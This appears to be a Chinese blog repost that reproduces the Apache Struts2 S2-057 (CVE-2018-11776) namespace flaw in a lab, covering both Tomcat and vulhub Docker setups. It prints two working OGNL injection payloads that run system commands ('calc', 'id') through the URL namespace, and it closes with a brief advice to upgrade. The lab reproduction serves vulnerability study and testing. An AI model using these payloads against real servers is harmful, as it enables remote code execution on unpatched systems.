zoukankan      html  css  js  c++  java
  • Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现

    Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现 

    一、漏洞描述

    S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去 。

    二、漏洞影响版本

    Apache struts 2.3-Apache struts 2.3.34

    Apache struts 2.5-Apache struts 2.5.16 

    三、漏洞环境搭建以及复现

    Win7+tomcat7.0+struts-2.5.16

    1、下载struts 2.5.16官方示例showcase

    2、把下载的struts2-showcase放到tomcat的webapps目录下

      

    3、修改struts-actionchaining.xml,发现有两处需要修改

      

    4、修改struts-actionchaining.xml,将namespace删除, 将 result 类型改为 redirectAction

    修改为如下:  

    <struts>
        <package name="actionchaining" extends="struts-default">
            <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
               <result type="redirectAction">
                 <param name = "actionName">register2</param>
               </result>
            </action>
        </package>
    </struts>

    5、重启tomcat

    6、浏览器访问http://192.168.10.230:8080/struts2-showcase/,漏洞环境成功搭建

       

    7、此漏洞利用很简单,只需要在url构造ognl表达式,再加上配置文件中的action标签中的name属性值,并以.action结尾

    浏览器访问http://192.168.10.230:8080/struts2-showcase/${100*100}/actionChain1.action,会执行 Ognl 表达式 ${100*100}

      

    8、路径跳转到我们在配置的action文件路径下,到此,S2-057漏洞被成功的利用了

    9、弹计算器,但是在目标没有弹出计算器

    Poc如下: 

    ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}

      

    四、漏洞防御

    1、 升级最新版本

    使用docker搭建

    1、利用docker搭建vulhub漏洞环境

    docker-compose up -d

    2、 启动环境后,访问http://172.17.0.1:8080/struts2-showcase/

      

    3、burp抓包,修改包如下,说明存在漏洞

      

    4、使用poc验证

    POC如下:

    ${
    (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

    5、把poc替换相应的位置,验证说明存在漏洞  #poc需要url编码

      

    -----------------------------------------------------------------------------------------------------------

    参考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057

  • 相关阅读:
    maven 项目 spring mvc + jdbc 配置文件
    (BUG已修改,最优化)安卓ListView异步加载网络图片与缓存软引用图片,线程池,只加载当前屏之说明
    listview图片错位
    Android在线更新 远程安装程序
    Android中Socket大文件断点上传
    如何用JAVA生成注册序列号
    php学习随记3
    Chrome改动浏览器User Agent
    andoid电阻触摸移植
    【有奖征资源,分享有内涵】贡献你的CSDN博文和下载资源,不断更新中
  • 原文地址:https://www.cnblogs.com/yuzly/p/11186012.html
Copyright © 2011-2022 走看看